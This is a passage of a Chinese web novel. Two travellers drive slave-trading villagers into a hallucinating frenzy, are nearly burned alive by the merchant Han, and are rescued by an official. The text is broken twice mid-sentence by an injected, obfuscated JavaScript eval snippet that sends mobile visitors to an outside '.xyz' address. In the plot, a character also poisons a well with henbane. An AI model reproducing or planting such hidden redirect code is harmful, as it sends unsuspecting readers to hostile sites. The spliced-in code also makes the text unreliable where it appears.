她想喊,想逃,可身体就如同被钉在木床上一样,只有眼珠能转动。 窗外惨白的月光照了进来,照亮了她瞳孔里,王神婆那张阴森至极的脸。 “好了,该净身了。” 村妇们端上来一盆水,那水通黑一片,散发着浓烈的草药味,这味刺激的让人作呕。 “给她擦洗吧,女子生来污秽,只有用了净身水,才能变得纯净无暇。” “只有这样………你才配当贵人的美人壶。” 桌上的红烛不知何时又燃了起来,将王神婆佝偻的影子映在墙上。她一步一顿,渐渐消失在门后。 ————— 村口那颗老槐树下,摆上了十几张八仙桌。这桌子虽早已褪了色,但这么一一排开,铺上红布,也是像模像样。 肉香混着米酒的酸味,在空气里弥漫。 “哎哟,这红烧肉切得可真讲究!”坐在边上的村民捏着筷子,戳了戳碗里油光发亮的肉块。 “可不是。杀的是三柱家那头养了三年的猪,昨儿夜里直接现宰的。” 这满满一桌子,虽然也就这么一道重菜。但对今年收成不好的村里来说,已经是难得的 丰盛了。 村民们聚在一起,脸上都洋溢着过年般的喜悦。孩子们在桌子间跑来跑去,时不时偷吃几块肉,再被大人轻打几下。就算有孩子打翻了碗筷,也没人责怪。 “诸位乡亲,先停停筷!”村长端着酒杯站了起来,面色红润,声音洪亮,“今天是咱们村的大喜日子!韩老爷看中了咱们村的阿禾,阿禾不日就要去到县城里的韩家了!” “阿禾真是好福气!” “自去年我的阿花被京城里一个老爷看中,咱们村就再没有过这样的好生意。我还担心哩,没想到这就又有了!” 村长笑道:“韩老爷家大业大,在洲城有十几家铺子,若是咱们阿禾能助他增运,咱们村里之后的女子啊,就不愁了!” “阿禾那丫头真是祖坟冒青烟了!”一个村妇羡慕地说道,“家里穷得叮当响,还摊上个醉鬼爹,一个拖累人的娘,偏偏她长得标致,还命好!” “是啊,要是我家那死丫头能有这个命就好了。”另一个妇人附和道,但语气颇为酸溜溜。 “你家那个?”旁边有人嘲笑,“你家那个脸长得像头驴,韩老爷能看上才怪呢!” “你说什么?!信不信我撕烂你的嘴!”那村妇立刻不干了,“我家那个好歹也是黄花大闺女,清清白白的!” “得了吧………” 眼看就要吵起来,村长连忙打圆场:“好了好了,大家都是乡里乡亲的,别为了这点小事伤了和气。今天是好日子,以后咱们这一年更是不愁了,都高高兴兴的!” 他重新举起酒杯:“来来来,为了阿禾的好运,为了咱们村的前程,大家干一杯!” “干杯!干杯!” 村民们齐声响应,将杯中的酒一饮而尽。酒是村里自酿的米酒,味道醇厚,喝起来甘甜,且容易醉人。 “说起来,阿禾她娘到底谁去管。”一个村妇压低声音说道,“昨天晚上哭得那叫一个惨,我今早路过她家门口的时候,还听见她在闹呢。” “真是个疯子!这样大的好事,她应该高兴才是,非得不识抬举。难怪她男的之前打她。” “等阿禾去了后,我们大家就轮流,一天过去看她一趟。她那样的身子,熬不了多久的。” 众人谈聊间,已经酒过三巡,菜过五味。桌子上的菜肴已经被吃掉了大半,碗碟杯盘散乱地摆着,只留了些残羹剩饭。 此时,气氛也达到了顶点。 除了妇人孩子,村里的男人都喝了不少酒,一个个醉醺醺的,脸红脖子粗。 坐在角落里的一个男人,慢慢悠悠站了起来,准备去向邻桌的人敬酒。 他刚跌跌撞撞走到邻桌前,忽然停住了。 邻桌的人看到他呆呆地站在那里,眼睛直直地盯着前方,不由嘲道:“老四真是喝多了,眼睛都出神了。” 名叫老四的村民一言不发,只是脸色越来越苍白。 “老四?老四?” 老四仍旧看着前方,过了许久,他开口了。 “你………你后面……”他的声音颤抖着,“你后面怎么………趴着个姑娘啊。” 坐在他对面的人一愣,不由自主转身看向后面,却什么都没有。 “什么姑娘,你神神叨叨说什么呢。” “有...……有个女人!”李四的脸色越来越惊恐,声音越来越尖锐,“她...…她穿着红衣服,趴在你的背上!她低着头,看不清脸,但她笑了!笑了!” 周围的人开始注意到这边的异常,纷纷朝他们看来。 “老四,你喝多了吧?”有人笑道,“我看你啊,是馋这女鬼了。你是时候该找个媳妇喽。” “不是………不是……”老四还在喃喃自语,“不是,她下来了………下来了,朝我们这边走过来了!” 他的喉咙像是被一只无形的手猛地攥住,又骤然松开。一声凄厉至极的尖叫从他的嗓子发出。 “啊—————!!!” 这声音简直不像人能发出的,带着极致的恐惧。如同嗓子里的血肉被猛地扯开,发出非人的嘶哑。 这声音一出,刚才开玩笑的人全都呆住了,只感觉后颈发麻,周围似乎都笼罩上了不安。 就在这时,又有人冲了出来。 “天上!快看天上。” 众人抬起头,全发现上空什么也没有。 “你们没看到吗!天上,天上有好多手啊!” “不是吧,麻子,你也疯了?” “不是疯了!”麻子的眼珠子几乎要瞪出来,“你们看不到吗?那些手!女人的手!她们的手要压下来了!她们想要抓住我们!” 终于,众人再也说服不了自己了。他们本就相信鬼神之说,此时听着那些发疯之人越来越激动的描述,越发深信不疑。 越来越多的人开始产生幻觉,刚才还一派和乐融融的宴席,瞬间成了炼狱。 “我怎么……我怎么看到我家阿花了?” “阿花不是被那户人家掐死了么!” “还有………还有她!是她,她回来报复我了!” “不是爹害死你的!谁害你的你找谁去啊!” 疯了,都疯了。 这些村民一个个犹如行尸走肉,不停地张望四周,哭着,喊着,到处逃,到处跑。 “她们………她们都是那些被送出去的女人!” “她们来报仇了!” 恐慌的情绪在人群中迅速蔓延,就像燎原的野火一样,很快就烧遍了整个村庄。 整个人群里,唯有村长还稍显冷静。 他虽没有看见那些所谓的鬼魂,但看着村民们歇斯底里的样子,也开始渐渐感觉到不安,冷汗直流。 “大家冷静!冷静!”他大声喊道,试图压过村民的吼叫声,“大家喝醉了,别自己吓自己!” 但这话根本没有起到安抚的作用,反而有人开始指着他喊:“你看不到吗!你周围,好多!一二三四五六七………他们都围着你……围着你……” 村长听到这话,再也镇定不了了,无力地瘫坐在凳子上。 ———————— 不远处,两个身影在静静地观察着这一切。 凌青站在这高坡上,看着远处喧闹的人群,脸上没有任何表情。只有眼神里的冷意,能看出她现在杀心有多重。 “你的毒,很厉害啊。”逄楚之站在她身边,语气中带着玩味:“能让这群人害怕成这样。我倒很好奇,他们眼里的鬼怪到底是个什么模样。” 凌青淡淡道:“不过是让人产生幻觉罢了。他们心里有鬼,自然就能看见鬼。” “我看他们昨日里道貌岸然的样子,还觉得他们已经把自己都洗脑了,不害怕任何鬼怪,没想到………” “说明他们再怎么愚昧无知,心底还是知道是非的。否则,为什么当初见到我们两个外人那么有敌意?” “哦………”逄楚之拖长腔调,“敢情不是讨厌外人,是怕外人发现他们村里的秘密啊。” 凌青点头,继续欣赏着远处那群村民的闹剧。 片刻之后,逄楚之又微微侧了侧头,有些好奇地问道:“不过………你那毒从哪来的?” “医书上记载,莨菪,根茎有毒,可使人产生幻觉。我便寻了大量,磨成粉,投了毒。” “可是………你怎么下到他们酒水里的,想要接近宴席,怕是很难吧。”逄楚之疑惑道。 凌青看了他一眼,眼神带着鄙夷:“谁说要下到酒水里了。” “嗯?” “我下到了井水里。”凌青淡然道,仿佛所说之话微不足道,“他们做菜用的水,洗菜用的水,喝的水,自然就带上了药。” 逄楚之微微一愣,然后大笑道:“妙,的确是妙。可是,明明有些人吃的很少,为什么还是中招了?” “我想………”凌青再次看向底下的村民,“人是群居的,心自然也是受旁人影响的。一个人喊有鬼,旁人会笑他嘲他。可当成百上千人都看见了鬼,剩下正常的人,心里不由也信了。假的成了真的,又被吓破了胆,脑子里自然而然便生出了同样的幻象。” 她话音一落,身旁的便响起了鼓掌声。每一下都带着漫不经心的随意。 看到凌青望过来,逄楚之停下鼓掌的手,眼中带着兴味盎然的光:“行啊,我本以为要大费周章,没想到这么迅速就被你搞定了。” 凌青心里知道,他哪是真佩服自己,他是兴奋,兴奋自己又让他看了这么一场绝妙好戏。 “别说废话了,轮到你了。”她冷声道。 逄楚之直起身子,拍了拍衣襟。 “看好了。”他朝凌青歪了歪头,粲然一笑。 ————— 村里的骚动已经持续了很久。 起初只是个别人声称看见了什么,如今却有越来越多的人开始指天画地,跪地求饶。刚才还在嘲笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297783|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿禾娘的那位妇人,早已抱着孩子躲在墙角。其他人也好不到哪去,有的直接瘫坐在地,近乎晕倒。 整个村子都笼罩在一片不安之中。 而逄楚之,就是在这个时候登场的。 他从人群后方缓缓走来,穿着一身不知从哪弄来的灰白色长衫,腰间悬着个小小的葫芦,手中握着一柄桃木剑。 虽然这群人已经神智不清,但他还是怕被认出来,所以刻意让凌青在他脸上画了几笔。 没想到那丫头看着不爱打扮,手倒是巧,也不知道怎么抹画的,直接把他的容貌之盛压了下去。 他不急不慢地走到正中央,负手而立,摆出一副仙风道骨的模样。 他在等,等着村民们发现他这个“绝世高人”。 然而,人来人往,无数惊慌失措的村民从他身边经过,愣是没有一个人注意到他。 逄楚之站在原地,看着这些人视而不见的样子,嘴角微微抽搐。 他清了清嗓子:“咳咳...…” 声音瞬间被周围的哭喊声和脚步声淹没,连个回头看他的人都没有。 逄楚之:“......……” 这和他想象中的展开完全不一样。 无奈之下,他只好略作沉吟,然后扬手将桃木剑抛向空中。 剑带着破风的响腾空而起,在空中翻转几圈,骤然一沉,直挺挺地坠向地面。 “咚————” 一声闷响穿透了周遭的寂静。那桃木剑竟如铁石一般,稳稳插入地面,剑柄微微颤动。 这一举动,终于让那群村民停下,望了过来。 逄楚之内心长舒一口气。 终于,终于看见了。 这年头,没点震场子的本事,连个骗子道长都当不了。 “贫道乃云游道人镇邪子,"他拱手向众人一礼,声音清越,“方才路过贵宝地,察觉此处阴气颇重。” 说着,他便缓缓走向插在地上的桃木剑。 “果然不出所料,”他伸手握住剑柄,轻轻转动,“此地怨气冲天,厉鬼作祟。” 此话一出,犹如一道石子扔入水中,直接在人群中炸开了。 “道长,道长救命啊!”离得最近的老四第一个反应过来,“扑腾”一声就跪了下去:“闹鬼了,闹鬼了!” 紧接着,其他人也纷纷跪了下来,声嘶力竭地哭喊着“救命”。 “道长您可得救救我们村子啊!” “求道长指条明路!” 这般卑微,这般惊恐。这样的神态,不和昨日阿禾的娘一样? 可惜啊,阿禾她娘嗓子都要喊哑了,也没换来这群畜生一分良心。 而此时全村人都跪在他面前,卑微地乞求他救命。可是非早已注定,哪怕他们磕破脑袋,也换不回他的一点“良知”。 逄楚之听着他们的话,脸上露出了恰到好处的凝重。他缓缓点头:“贫道能够感应到她们的存在。不过......…” 他故意停顿了一下,环顾四周。 “这些女鬼怨气如此之重,必定是含冤而死。敢问诸位,这些女子生前到底遭遇了什么?为何死后不肯安息?” 这话一出,原本还在苦苦乞求的村民们突然安静下来。 村长咳嗽一声,勉强笑道:“此事说来话长,道长还是先除掉这些鬼怪为好。” “又不是我们逼死的,为何来找我们?。” “而且,谁家不是这样?” 事到临头,这群人还在狡辩,丝毫没有一丝悔意。 逄楚之的目光在众人脸上扫过,眼中闪过一丝冷意。他却没有说话,只是再次走到桃木剑前,伸手握住剑柄,似在感应什么。 良久,他忽然面色一变:“不对!不对!” 众人皆是心头一紧。 “贫道原以为只是普通的怨魂作祟,”逄楚之松开剑柄,脸上露出惊慌之色,“但现在发现...……她们已经吸收了足够的阳气,开始附身了!” “附………附身?” “她们□□已失,魂魄却安定不了,自然要寻新的□□附身。若是让她们寻得□□,她们必要杀光你们所有人!” 这话如一道惊雷,在人群中猛然炸响。本来就已经临近崩溃的村民,听到这个,几乎要瘫倒在地。 “不好!阴气消失了!鬼附身到你们其中的人身上了!” 瞬间,整个场面都失控了。 “是谁!到底是谁被鬼上身了!”村长声嘶力竭地吼叫。 “快滚开!别靠近我!”有人疯狂后退,却被身后的人一把推开。 那人瞬间向后倒去,脑袋一下子撞到石头之上,直接不省人事。 恐惧如瘟疫般蔓延,每个人都成了别人眼中的恶鬼。这群曾经沆瀣一气的畜生们,此刻彻底撕破了脸皮。 “都是你们!都是你们害的!”一个妇人癫狂地指着众人,“当初就是你们这群畜生提议的!现在那群女人来报仇了!” “你家的闺女可是被你亲自送出去,给那京城老爷做美人纸的!现在装什么无辜!” 那妇人闻言双眼充血,发出野兽般的嚎叫,直接扑向说话的男人。指甲在对方脸上划出几道血痕,鲜血瞬间涌出。 男人痛得嗷嗷叫,一脚将那妇人踹倒在地,然后骑在她身上狠狠掐住她的脖子:“老子今天就先掐死你这个疯婆子!” 这群人在极度的恐惧和猜疑中,终于将内心最阴暗的兽性完全释放。 他们疯狂地撕咬着彼此,仿佛只有将其他人全部杀死,才能彻底除去藏在心中的恶鬼。 逄楚之嫌恶地皱起眉头,躲开人,慢慢往外走。 此时,凌青不知何时来到他身边。 她透过他身后,平静地看着那些人自相残杀的景象。 只是看了一眼,她便收回眼神,淡淡道:“走吧,去救阿禾。” 逄楚之点点头,刚想随她离开,却忽然听见不远处,传来了急促的马蹄声。 46. 火刑 远处传来沉闷的车轮声,夹杂着急促的马蹄声,让人心头一重。 凌青瞬间警觉起来,侧过脸看向村口方向。 “哪来的马车?”逄楚之也看了过去。 凌青的眼神变得凝重起来,似乎从那马蹄声中感应到了什么。 “不是来救我们的,就是来杀我们的。”她低声道。 车轮声越来越近,夹杂着护卫们的吆喝声和马匹的嘶鸣声。 不一会儿,一队人马出现在村口。 为首的是一辆张扬至极的马车,车厢用上好的楠木制成,四角镶嵌着铜饰。车两旁跟着十几个护卫,都骑着高头大马,腰佩钢刀,神情凶悍。 这阵势………看来真不是来救他们的。 逄楚之看见后,脸上那种漫不经心的意味更深几分。他装出一副紧张兮兮的样子,语气夸张道:“完蛋,看来这次是真的跑不掉了。” 凌青看他还有心情演戏,不由又瞅了他一眼。 马车缓缓停下。车夫立马跳下车,快步绕到车门边,恭恭敬敬地候着。 车帘被缓缓掀开。 一直白胖的手先伸了出来,紧接着便是一整个身躯艰难地钻到外面。这一摊“东西”属实是臃肿至极,肉多的似乎要溢到地上。这东西即使穿着价值不菲的绸缎袍子,也分外别扭,怎么都掩饰不了身上那股市侩气。 “好大一摊———”逄楚之在旁发出了惊叹的声音。 凌青冷眼看着。 若她没有猜错,这怕就是那个韩员外了。 韩员外下了马车,那双被横肉挤得越发窄小的眼睛,震惊地打量着周围。 凌青猜测,他亲身来此,是想看到那群村民们跪地迎接、感恩戴德的大场面。可惜………这番预想的场面没有实现。 迎接他的,只有疯狂互殴的人群,和满地的狼藉。 不远处,一个村民正挥舞着锄头朝另一个村民砸去。另一边,还有两个妇女在地上扭打,撕扯着对方的头发,嘴里发出野兽般的咆哮声。 “这..….这是怎么回事?”韩员外的声音有些发颤,显然被眼前的场面吓到了,“这些人都疯了?” 他的手下们也都面面相觑,显然也没见过这种情况。 突然,一个村民横冲直撞地朝他们冲来,韩员外慌忙避开,差点撞到身后的护卫。他心中涌起一阵烦躁。 “真是晦气!”他嘴里咒骂道,眼神里却不免带上了惊惶,“这群疯子到底怎么了!” “属下也不知道……怕是得了癔症吧?” “那还能这么多人一块得癔症!”他怒喝道,目光开始在混乱的人群中仔细搜寻。 忽然,他的目光停在中间两个身影上。 在这一片喧闹的场面中,这两个人显得格外正常。 “把他们带过来!”韩员外当即指着那两人,对身后护卫道。 几个护卫立即策马上前,直接堵住那两个人的退路。 还未等凌青和逄楚之说什么,他们就被粗暴地抓住胳膊,硬生生扯到韩员外的马车前。 “说,这村里的人都怎么了?我要的美人壶又去哪了?” 逄楚之一改之前的漫不经心,换上一副无辜的表情,眨着他水灵灵的眼睛,双手合十:“阿弥陀佛,施主息怒………” “你个臭道士念什么阿弥陀佛!”韩员外恶狠狠地打断他。 “………”逄楚之连忙将手放下来,“不好意思,贫道嘴瓢了。无量天尊,足下息怒。贫道也是途经此村,听见声音,便进来看看,谁知就看到他们这个样子了。贫道一个修道之人,哪里见过这种场面,真是吓坏了。” 他声音放得柔柔的,又带着点可怜娇娇的意味,若是配上他那张脸,的确是让人怜惜。 但他此时,顶的可是一张猥琐老道士的脸。用这张脸说出如此委屈的话,实属是………有些让人观感不适。 “呕————”韩员外张嘴欲吐。 被眼前这个丑胖子鄙视了外貌,逄楚之沉默了:“………” “真是恶心!把你脸转过去!”韩员外张嘴怒骂。 说完,他又没好气地看向一旁的另一个人。 凌青缓缓抬起头,看向他。 一张苍白无血色,却又清丽的脸。 尤其在这场面下,这冷冽的容貌和风骨,更显得有几分韵味。 韩员外的眼睛瞬间亮了,一双豆大的眼睛不住地扫视着凌青。他的声音也变得温柔起来:“这位姑娘也是这村里的?” 凌青抬眼看他,沉默了一会儿,点点头。 “那你可知,这村的人怎么了?” 凌青犹豫了片刻,还是回答道:“我不知道,兴许是错食了毒菌子吧。” 话音一落,她觉得自己的声音太过僵硬冷漠,显得很是古怪。于是便学着逄楚之装可怜的样子,颤颤巍巍地抖了抖身子。 逄楚之看着她像犯了“羊癫疯”一样抖擞身子,又沉默了:“…………” 幸而韩员外并没在意,只是摆了摆手道:“一群下贱人,怕是把那菌子当成好东西了吧。算了,疯了就疯了。” 他又看向凌青,轻声细语道:“姑娘别害怕。有老夫在这里,绝不会让任何人伤到你的。” 这夹着嗓子的声音,直接让凌青起了一身鸡皮疙瘩。她警惕地注意起这人的动作。 果然,这人紧接着伸出肥胖的手,假装不经意想要去碰凌青的脸,幸好凌青早有察觉,直接巧妙地往后仰了一下,躲了过去。 韩员外看没有揩油成功,连忙转过身咳嗽一声。 也不知是不是为了避免尴尬,他似乎又想起了什么,转头对手下吩咐道:“去,把我要的那个丫头找出来,把她带回去,其他人不用管了。” 凌青的眼里瞬间掠过一道寒光。 该死,这老家伙还想着阿禾。 她今日和逄楚之这一出,不就是为了惩治村民,救出阿禾。若是阿禾再次被掳走,那今日的一切全都白费了。 她正想着该怎么阻止时,忽然听见旁边传来轻微的声音,似乎是有人用手指轻叩地。 她余光瞥向一旁,只见逄楚之表面上依然是那副猥琐道士的模样,可衣袖下却悄悄做着手势。那动作极其隐蔽,若非她眼力过人,根本察觉不到。 凌青蹙着眉看向他。 逄楚之眼里写满了急切:还愣着干什么,赶紧施展美人计,拖住他啊! 凌青瞪回去:你怎么不上? 逄楚之委屈地用手指悄悄指了指自己现在这张脸,眼中满是无奈:大姐,你看看我现在这德行,我倒想施展,他给我机会吗他。 凌青忍不住翻了个白眼:有病。 可下一秒,她突然愣住了。等等...……她和逄楚之这人,什么时候有了这种心照不宣的默契?仅仅通过一个眼神,就能准确理解对方想要表达的复杂意思? 也太诡异了吧……… 不过紧接着,她就无暇想这个了。 因为那些护卫,已经不知从何处,把阿禾找了出来。 他们拽着阿禾,将她拖到韩员外面前。 只是一晚不见,阿禾就像变了一个人一样。她头发散乱,额头上画着密密麻麻的符文,眼神也濒临崩溃边缘,不住地挣扎反抗。 “放开我!放开我!”她叫着,却因疲惫,发不出太大的声音。 “不错。”韩员外满意地点头,看她的目光就如同在欣赏自己最宝贵的一件珍品:“虽不算特别美貌,但看着就是个有福气的。” 说着,他便站起来,直接走到阿禾跟前,伸出那浑圆的手,捏住阿禾的下巴,迫使她仰起头来。 “好好在瓶子里养上几年,你会比现在更有福气的。” 凌青在旁,看见阿禾眼中最后一丝光芒,彻底熄灭。 她蹙着眉,几乎在一瞬间,就与阿禾感同身受。 这一刻,她心头涌上的愤怒也达到了顶点。 她不能不代入阿禾,因为她们们同样是这芸芸众生中最普通的存在,同样是被这个世道视若无物的草芥。她们也同样是………这世上无数可怜女子中的一人。 同样的苦苦挣扎,同样的绝不认命。他无法不共情这份痛苦,也无法不为这份不公而愤怒。她必须要帮,因为这不是单单帮阿禾,这是在帮千千万万个像阿禾和她这样的女子。 更是在为她们共同的尊严,做最后一次反抗。 此时,韩员外已松开手,退后几步,望着阿禾的面容,满意地笑了。这笑容在肥腻的脸上显得越发恶心。 他转过头去,似与身后护卫说话。 就在这一刻! 凌青突然暴起,身形如闪电般扑向韩员外!她的动作快得让人根本反应不及,几乎在所有人都愣神的瞬间,就已经出现在韩员外身边。 一道银光闪过,匕首不知从哪里出现,指只是瞬间,就已经抵在了韩员外的喉咙上。 所有人都愣住了。那群护卫立马拔剑,指向凌青。 逄楚之此时也是瞪大了眼睛,似乎完全没有想到她身上竟然一直藏着一把匕首。 没错,这把匕首,这把她想要用来杀死林雪桐母子的匕首,一直被她亲身带在身上。 所幸,就算是坠崖和河流冲击,都没能将这把匕首带走。而她,一直藏着这个身上的唯一武器,去提防着身边的逄楚之。 哪怕逄楚之再如何吊儿郎当,没有正形,她也忘不了他曾经对自己的杀意。她也毫不怀疑,他随时可以对她动手。 幸而,这把匕首这么藏着藏着,终于派上了用场。 韩员外感受到喉咙处传来的冰冷触感,吓得浑身发抖,声音都变了调:“女...……女侠,有话好说,有话好说啊...………” “让你的人放了阿禾。”凌青的声音寒冷如冰,没有丝毫温度。她手中的匕首微微用力,韩员外的脖子上立刻出现了一道细细的血痕。 “放!马上放!”韩员外连连答应,冷汗直流。他焦急地朝手下大喊道:“快!放了她!” 护卫们赶忙松开了阿禾的绳索。 阿禾挣脱开,连忙站了起来,慌乱地看向凌青。 凌青朝她微不可见地点点头,示意她快走。 阿禾犹豫了一下,还是转过身子,快速朝村里跑去。 看着她身影渐远,凌青这才稍稍松了一口气。 她正想挟持着韩员外朝村外慢慢走,变故却在此刻忽然发生————— 一个五六岁的孩子突然从旁边的房屋里跑了出来。他看到地上的血迹和那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311558|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还在缠斗村民,吓得哇哇大哭,声音之大仿佛能刺破天际。 凌青皱了皱眉,却没有分神,仍然把注意力集中在韩员外身上。 就在这刻,那孩子忽然朝他们方向冲来! 凌青谨慎地想往旁边挪动,谁知那孩子却直直撞到了她身上。 就是这一瞬间,韩员外猛地一个肘击,正中凌青的腹部。剧烈的疼痛让她不得不弯下腰,手中的匕首脱手而飞,直接掉落在地。 “抓住她!快抓住这个贱人!”韩员外怒吼着。 几个护卫立刻扑上来,将她按在地上。 韩员外摸着脖子上的伤口,眼中满含怒火:“好你个贱人!枉老夫如此欣赏你,竟敢挟持老夫!真是活腻了!” 他直接指向两个人,下令道:“把他们都给我绑起来,老夫要活活烧死他们!让他们知道得罪老夫的下场!” 逄楚之:??? 他刚想说管自己什么事,却直接被人拉了起来,不由分说地推到一旁。 很快,干柴便被扛了过来,垒起了半人那么高。里面还塞上了引火的干草,大有一种不烧死他们不算完的架势。 逄楚之和凌青被捆在了木柱之上,绳子绑的很紧,无论怎么挣扎,都不能挣动分毫。 凌青看着眼前的情况,心中彻底无言了。 她这些天,也算是在死与不死的边缘疯狂试探。怕是她的名字在阴间的生死簿上,也是反复一闪一闪。阎王爷可能都震惊了,怎么这人接连要死不死的。 不行,她九死一生活到现在,怎么能就此倒下。 她不甘放弃,做着最后的努力,大喊道:“我们是京城逄家的人!我身边这位,是当今太后的侄子!你若现在放我们下来,我们就当做什么都没发生!” 韩员外冷笑一声:“你俩若是逄家的人,那我还是当今天子呢!还叫你俩装上了,一个臭道士,一个乡下下头,怎么还这么敢吹牛逼呢?” 凌青和逄楚之:“………” “逄家的人怎么可能出现在这么个鸟不拉屎的地方,真是把我当傻子糊弄。”韩员外转过身,继续吩咐道:“去,再去添把柴,火再烧旺点!” 这死胖子。 凌青无语了,转过头看向逄楚之,却发现这家伙竟然闭着眼睛,一副认命等死的模样。 “???”凌青咬牙切齿道:“你就打算这样认命了?认命自己死在这种人手里?” 逄楚之慢悠悠睁开眼睛,看向凌青,语气无奈:“那又能怎么样,都被架上来了,除非神仙来了,咱们才有救。” “都什么时候了,你还在装。”凌青瞪着他:“我就不信你束手无策,以你的性格,必定会留有后手。” “谢谢你啊,死到临头终于夸我一句了。”这人竟然还向她眨眨眼,“可惜,我没这么神通广大。我若真有那本事,还至于沦落到现在这个地步?” 眼看着那群护卫已经举起了火把,点燃脚下的柴火,火星子落在干草上,起初只是一点微火光,转瞬火苗就猛地窜起半尺高,卷着黑烟往上冒,热浪瞬间扑面而来。 凌青彻底急了。 她低吼道:“你就没有什么信物?快拿出来啊!你再什么都不说,咱们都得死在这了!死在一起,死得透透的,死后咱俩连灰都得烧成一堆!分都分不开!” 此话一落,逄楚之缓缓转过头。 他的神色有些奇异,似乎有些不可置信。 凌青:“?” 她说的话有什么问题吗? 逄楚之看着她,越发愣怔。过了许久,他才似乎不敢相信地问道: “姐姐…………” “你是在………跟我表白吗?” “…………” 凌青茫然地看着他。 这一刻,所有的求生欲,都化为了深深的无力。 过了许久,她才听见自己的声音。 “不是…………你是不是有病啊。” 她一想到自己的骨灰要和这人混为一体,一想到自己死在那恶毒恶心的韩员外手里,一想到自己—————未报的仇。 她不能死,她不能死! 就在这一际,远处忽然来雷霆般的马蹄声。 这次的声音远比韩员外来时更加宏大,仿佛来的是千军万马。随着声音越来越近,整个地面仿佛都在震动。 凌青望向声音传来的地方。 山路的尽头,尘土飞扬中,一队人马如潮水般涌现。不是十几匹,而是足足有数十匹马。 为首的是一匹通体雪白的骏马,马上端坐着一人,远远看去,便能看到他挺拔如松的身姿。 马匹渐近,为首者的面容渐渐清晰———芝兰玉树,渊渟岳峙,正是崔令徽。 在他身后,紧紧跟着一辆马车。马车停下,一个女子赶忙掀开帘子从马车上下来。 那女子似乎远远看到了被绑在架子上的两个人。 “凌青!楚之!” 这声喊冲破喉咙。 陆沁一向温婉娴淑,此刻脸上却全是慌乱焦急。嗓子里也带上了破音。 她不顾韩员外那些侍卫的凶神恶煞,直直往前跑了两步,拼命地挥着手,一声声喊着他们的名字。 “别怕,别怕!我来了,凌青!楚之!” 47. 离村 山高水远 凌青不由看向陆沁,睫毛轻动,眸子中闪过一丝错愕。 “神仙来了。”逄楚之似乎早有预料,微微一笑,侧头看向凌青:“姐姐,这不就又活下来了?” 凌青沉默。 此时,韩员外看到这番阵势,也已经彻底怔住。他再怎么不明事理,此时也知道了。眼前这群人,怕是他和他顶头之人都得罪不起的。 他不由往后退了两步。 为首的崔令徽猛地勒住马缰。那匹白马人立而起,发出一声长嘶。 他扫视着眼前的场景————燃起的火堆,韩员外和他的护卫,疯狂的村民,还有被绑在木架上的逄楚之和凌青。 他的眉头深深蹙起,眼中闪过一丝冷意。 “拿下。” 只是两个字,但有着不容置疑的威严。 身后的数十个人立刻如潮水般散开,将韩员外一行人团团包围。 韩员外的脸色瞬间惨白,但事到临头,哪怕他心中再惧,也只能硬着头皮应对。 他整了整衣衫,尽量让自己看起来镇定一些:“敢问阁下何人?在下乃临溪镇韩府员外,今日在此处理些私事,阁下怕是与我有有误会………” “大理寺少卿,崔令徽。” 韩员外的声音直接被打断,马上之人声音不疾不徐,却如洪钟大吕,每个字都清晰地传入在场每个人的耳中。 这几个字如晴天霹雳般在韩员外耳边炸响。 大理寺!少卿! 大理寺掌刑狱,权柄极重,而少卿更是位高权重的朝廷重臣。年纪轻轻便能坐到如此位置,背景之深厚,手段之雷霆,可想而知。 还有他的姓氏……… 是了!是了!能有如此背景,如此气势,必定就是清河崔家的人! 李郑崔卢,姓之名器。千古推高,九流仰视!他如何能得罪得起清河崔氏之人! 他双腿一软,再也支撑不住,噗通一声跪倒在地,连连磕头:“大人饶命!小的有眼不识泰山,冲撞了大人,该死该死!” 崔令徽居高临下地看着他,过了许久,才开口道: “谁给你的担子,敢在这里强抢民女,还妄图动私刑,烧死平民?” “不敢不敢!”韩员外头磕得更响,额头很快就磕破了,染在地上血迹,“大人明鉴,小的绝无此意,此事皆是由村里这些刁民惹起来的,小的一概不知啊!” “一概不知?那这火堆是自己生起来?架子上被绑着的两人也是自己上去的?” 韩员外张口结舌,豆大的汗珠不断滚落,却一句话也说不出来。 此时,凌青和逄楚之也被救了下来,被崔令徽的人扶到他面前。 崔令徽面上虽不显,但语气里还是带上了担忧,“楚之,没有伤到吧?” “多谢表哥,”逄楚之刚刚在架子上还生龙活虎,此时下来又变得“可怜虚弱”,他恹恹地被人扶着,似乎所有力气都流失,“表哥,让你担心了。” 崔令徽确认他平安无事,又转头看向凌青:“凌青姑娘也没大碍吧?” 凌青虽被绑得手脚发麻,但此刻也活动过来了。她瞥了一眼娇弱的逄楚之,点点头:“多谢崔大人,奴婢并无大碍。” 话音刚落,一道身影如离弦之箭般冲了过来——— 凌青猛地被抱了个满怀,发丝在风中飞扬。她错愕地盯着来人,眼中映现出少女脸上劫后余生的狂喜与后怕。 陆沁,她就这样不顾一切地扑了过来,抱住了她和逄楚之。 “我还以为..….我还以为再也见不到你们了...…” 陆沁的声音哽咽着,颤抖着。她抱得那样紧,仿佛要将他们揉进自己的骨血里,生怕一松手他们就会消失不见。 凌青张张嘴,想要说什么,却感受到了衣襟上的一片湿润。 她整个人都彻底僵住了。 ………… 那种久违的感觉,铺天盖地地袭来,让她差点溃不成军。这个怀抱,这种被人拼尽全力在乎的感觉,如此熟悉..…….就像多年前,她初见姐姐叶清涟,姐姐给她的那个拥抱…… 可姐姐……… 